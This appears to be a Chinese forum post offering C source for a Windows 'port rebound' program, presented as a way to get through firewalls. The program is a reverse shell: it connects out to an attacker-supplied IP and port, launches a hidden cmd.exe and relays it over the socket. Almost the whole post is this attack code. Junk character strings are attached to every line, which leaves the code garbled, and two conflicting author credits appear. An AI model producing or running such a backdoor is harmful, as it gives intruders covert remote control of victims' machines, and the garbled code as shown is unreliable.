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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +r9:n(VP  
nm 66U4.@  
/* ============================== }NDw3{zn  
Rebound port in Windows NT ~^=QBwDW8N  
By wind,2006/7 lKEdpF<  
===============================*/ XbYW,a@w2  
#include gPY2Bnw;l  
#include YS k,kU  
H-?SlVsf  
#pragma comment(lib,"wsock32.lib") a9}cpfG=)  
EP7L5GZ-a  
void OutputShell(); F?e_$\M  
SOCKET sClient; <LQwH23@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R`Hyg4?  
!0ySS {/  
void main(int argc,char **argv) o6K\z+.{  
{ @rkNx@[~  
WSADATA stWsaData; LJYFz=p "  
int nRet; K~AQ) ]pJI  
SOCKADDR_IN stSaiClient,stSaiServer; ge?1ez2  
+LV~%?W  
if(argc != 3) @v_ )(  
{ draY /  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2@Jw?+}vr  
return; |#$Wh+,*  
} c3]ZU^  
D_D<N(O  
WSAStartup(MAKEWORD(2,2),&stWsaData); OOs Y{8xM  
$d%m%SZxv  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?%(8RQ  
Q/r9r*>z  
stSaiClient.sin_family = AF_INET; OT{wqNI  
stSaiClient.sin_port = htons(0); ;OTD1=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HE. `  
+j&4[;8P:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FkR9-X<  
{ _!H{\kU  
printf("Bind Socket Failed!\n"); "'-f?kZ  
return; JadXdK=gE  
} GUE 3|  
^KhA\MzY  
stSaiServer.sin_family = AF_INET; $S|bD$e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B@G'6 ?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j%Y`2Ra  
V9NE kS  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) & ,2XrXiFu  
{ `Q^G k{9P  
printf("Connect Error!"); >%x7-->IB  
return; X a#`VDh  
} g:`V:kbY$  
OutputShell(); ^k]OQc7q'  
} wqJ^tA!  
4]u53`  
void OutputShell() NMM0'tY~  
{ w0x, ~  
char szBuff[1024]; /`>BPQH`}  
SECURITY_ATTRIBUTES stSecurityAttributes; <H`&Zqqk  
OSVERSIONINFO stOsversionInfo; xq- R5(k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1om:SHw  
STARTUPINFO stStartupInfo; +'Pf|S  
char *szShell; XLz>h(w=  
PROCESS_INFORMATION stProcessInformation; )t{?7wy  
unsigned long lBytesRead; L0Bcx|)"$`  
_5EM<Ux  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W'eF | hu  
j8WnXp_  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); \I1+J9Gl  
stSecurityAttributes.lpSecurityDescriptor = 0; ZGf R:a)wc  
stSecurityAttributes.bInheritHandle = TRUE; 3|8\,fO?  
Z\D!'FX  
oOUL<ihe?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,1EyT>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R}>xpU1  
CEq0ZL-W  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4,!#E0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $3zs?Fd`  
stStartupInfo.wShowWindow = SW_HIDE; DXl3  
stStartupInfo.hStdInput = hReadPipe; vzM8U>M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a` A V  
BSYJ2   
GetVersionEx(&stOsversionInfo); 4\a KC%5  
4UT %z}[!  
switch(stOsversionInfo.dwPlatformId) sxinA8  
{ r) ;U zd  
case 1: <R582$( I  
szShell = "command.com"; {Y6U%HG{{r  
break; WM$}1:O  
default: c+,F)i^`  
szShell = "cmd.exe"; ozwPtF5  
break; "MQy>mD6  
} b(+M/O>I  
"bZ%1)+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 109dB$+$  
-b"mx"'?  
send(sClient,szMsg,77,0); 5RXZ$/  
while(1) WcqQR))n  
{ N}Q%y(O^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0Am&:kX't  
if(lBytesRead) uP2e/a  
{ m1H_kJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b6Pi:!4  
send(sClient,szBuff,lBytesRead,0); "c` $U]M%  
} _ dEc? R}  
else W{:^P0l  
{ /I}#0}  
lBytesRead=recv(sClient,szBuff,1024,0); _b|mSo,{Y  
if(lBytesRead<=0) break; j>Wb$p6S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c u*8,*FU  
} 2%P{fJbwd  
} A?V}$PTlx  
X)^eaw]Q0  
return; E7X6Shng  
}
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